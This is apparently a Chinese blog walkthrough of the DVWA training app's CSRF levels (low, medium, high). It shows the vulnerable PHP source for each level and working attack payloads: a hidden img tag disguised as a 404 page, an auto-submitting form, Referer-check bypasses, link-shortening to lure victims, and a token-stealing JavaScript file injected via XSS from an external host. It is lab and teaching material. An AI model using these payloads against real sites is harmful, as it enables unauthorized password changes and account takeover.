web CSRF DVWA CSRF mengnankkzhou 2023-11-28 2024-08-08 CSRF(跨站请求伪造)
简介
CSRF(跨站请求伪造),全称为Cross-site request forgery,简单来说,是攻击者利用受害者尚未失效的身份认证信息,诱骗受害者点击恶意链接或含有攻击代码的页面,在受害者不知情的情况下以受害者的身份像服务器发起请求,从而实现非法攻击(改密)。
low
源代码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 <?php if( isset( $_GET[ 'Change' ] ) ) { // Get input //获取两个输入框的密码 $pass_new = $_GET[ 'password_new' ]; $pass_conf = $_GET[ 'password_conf' ]; // Do the passwords match? //查看两次输入的是否一致 if( $pass_new == $pass_conf ) { // They do! //如果一致就直接插入数据库 $pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : "")); $pass_new = md5( $pass_new ); // Update the database $insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "';"; $result = mysqli_query($GLOBALS["___mysqli_ston"], $insert ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' ); // Feedback for the user echo "<pre>Password Changed.</pre>"; } else { // Issue with passwords matching echo "<pre>Passwords did not match.</pre>"; } ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res); } ?>
通过GET方式获取两次密码,两次密码输入一致的话,就可以直接带入数据中修改密码。
攻击方式:
经过上面的尝试发现可以成功修改账号密码,而且我们发现了URL那里的变化,接下来我们从URL处入手再改一下,首先先重置一下数据库,把密码改回来。
在 C:\phpstudy_pro\WWW 文件夹中建立一个 1.html ,里面写入
1 2 3 4 5 <img src="http://127.0.0.3/vulnerabilities/csrf/?password_new=123456&password_conf=123456&Change=Change#" border="0" style="display:none;"/> <h1>404<h1> <h2>file not found.<h2>
这样的话,当我们打开 1.html 文件的时候,密码就会被修改成123456,(诱骗受害者点击这个1.html文件,放个诱惑链接)
诱骗链接
1 http://127.0.0.1:8888/vulnerabilities/csrf/?password_new=123456&password_conf=123456&Change=Change#
但是一般有一些智商的都不会点击,所以可以将长链接转为短链接,可以使用https://tool.chinaz.com/tools/dwz.aspx来生成短链接。
或者配合xss一块使用
新建一个带有xss攻击的hmtl的页面
1 2 3 4 5 6 7 8 <html> <head> <title>XSS&CSRF</title> </head> <body> <script src="http://127.0.0.1:8888/vulnerabilities/csrf/?password_new=222&password_conf=222&Change=Change#"></script> </body> </html>
当受害者访问127.0.0.1/xss.hmtl的时候,密码就被修改成了222
hmtl的核心语句就是通过scirpt标签的src属性来记载攻击的url
1 <script src="http://127.0.0.1:8888/vulnerabilities/csrf/?password_new=222&password_conf=222&Change=Change#"></script>
Medium
源代码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 <?php if( isset( $_GET[ 'Change' ] ) ) { // Checks to see where the request came from //stripos(str1, str2)检查str2在str1中出现的位置(不区分大小写),如果有返//回True,反之False //判断Host字段是否出现在referer字段中 if( stripos( $_SERVER[ 'HTTP_REFERER' ] ,$_SERVER[ 'SERVER_NAME' ]) !== false ) { // Get input $pass_new = $_GET[ 'password_new' ]; $pass_conf = $_GET[ 'password_conf' ]; // Do the passwords match? if( $pass_new == $pass_conf ) { // They do! $pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : "")); $pass_new = md5( $pass_new ); // Update the database $insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "';"; $result = mysqli_query($GLOBALS["___mysqli_ston"], $insert ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' ); // Feedback for the user echo "<pre>Password Changed.</pre>"; } else { // Issue with passwords matching echo "<pre>Passwords did not match.</pre>"; } } else { // Didn't come from a trusted source echo "<pre>That request didn't look correct.</pre>"; } ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res); } ?>
由上面的代码可知增加了referer判断
1 if( stripos( $_SERVER[ 'HTTP_REFERER' ] ,$_SERVER[ 'SERVER_NAME' ]) !== false )
即如果 HTTP_REFERER 和 SERVER_NAME 不是来自同一个域的话就无法进行到循环内部,执行修改密码的操作。
所以我们需要手动伪造referer来执行CSRF攻击
我们要手动制作一个html表单
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 <html> <head> <meta charset="utf-8"> <title>CSRF</title> </head> <body> <form method="get" id="csrf" action="http://127.0.0.1:8888/vulnerabilities/csrf/"> <input type="hidden" name="password_new" value="222"> <input type="hidden" name="password_conf" value="222"> <input type="hidden" name="Change" value="Change"> </form> <script> document.forms["csrf"].submit(); </script> </body> </html>
1 <script> document.forms["csrf"].submit(); </script>
通过自动触发提交id为csrf的表单
使用方法:
1.将上述 html 页面放到服务器的 127.0.0.1
目录下,然后让用户访问自动触发提交然后访问构造好的 payload 地址:
1 http://www.mengnankk.top/127.0.0.1/csrf.html
2.或者将上述html文件命名为127.0.0.1html然后访问
1 http://www.mengnankk.top/127.0.0.1.html
这里有一个小细节,如果目标网站是 http 的话,那么 csrf 的这个 html 页面也要是 http 协议,如果是 https 协议的话 就会失败。
3.因为?后默认当做参数传递,这里因为 html 页面是不能接受参数的,所以随便输入是不影响实际的结果的,利用这个特点来绕过 referer 的检测。
1 http://www.mengnankk.top/csrf.html?127.0.0.1
HIGH
检查一下源代码,防线多了个token
1 2 # 检测用户的 user_token checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );
相对于 Low 级别,实际上就是增加了一个 token 检测,这样我们 CSRF 攻击的时候必须知道用户的 token 才可以成功。
通关思路:使用 XSS 来获取用户的 token ,然后将 token 放到 CSRF 的请求中。因为 HTML 无法跨域,这里我们尽量使用原生的 JS 发起 HTTP 请求才可以。
1.首先新建csrf.js
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 // 首先访问这个页面 来获取 token var tokenUrl = 'http://127.0.0.1:8888/vulnerabilities/csrf/'; if(window.XMLHttpRequest) { xmlhttp = new XMLHttpRequest(); }else{ xmlhttp = new ActiveXObject("Microsoft.XMLHTTP"); } var count = 0; xmlhttp.withCredentials = true; xmlhttp.onreadystatechange=function(){ if(xmlhttp.readyState ==4 && xmlhttp.status==200) { // 使用正则提取 token var text = xmlhttp.responseText; var regex = /user_token\' value\=\'(.*?)\' \/\>/; var match = text.match(regex); var token = match[1]; // 发起 CSRF 请求 将 token 带入 var new_url = 'http://127.0.0.1:8888/vulnerabilities/csrf/?user_token='+token+'&password_new=111&password_conf=111&Change=Change'; if(count==0){ count++; xmlhttp.open("GET",new_url,false); xmlhttp.send(); } } }; xmlhttp.open("GET",tokenUrl,false); xmlhttp.send();
然后将文件放在外网的服务器上,然后访问网页,直接发起xss测试,这里直接通过 script 标签的 src 来引入外部 js,访问之后此时密码就被更改为 111 了
1 http://127.0.0.1:8888/vulnerabilities/xss_d/?default=English&a=</option></select><script src="http://www.sqlsec.com/csrf.js"></script>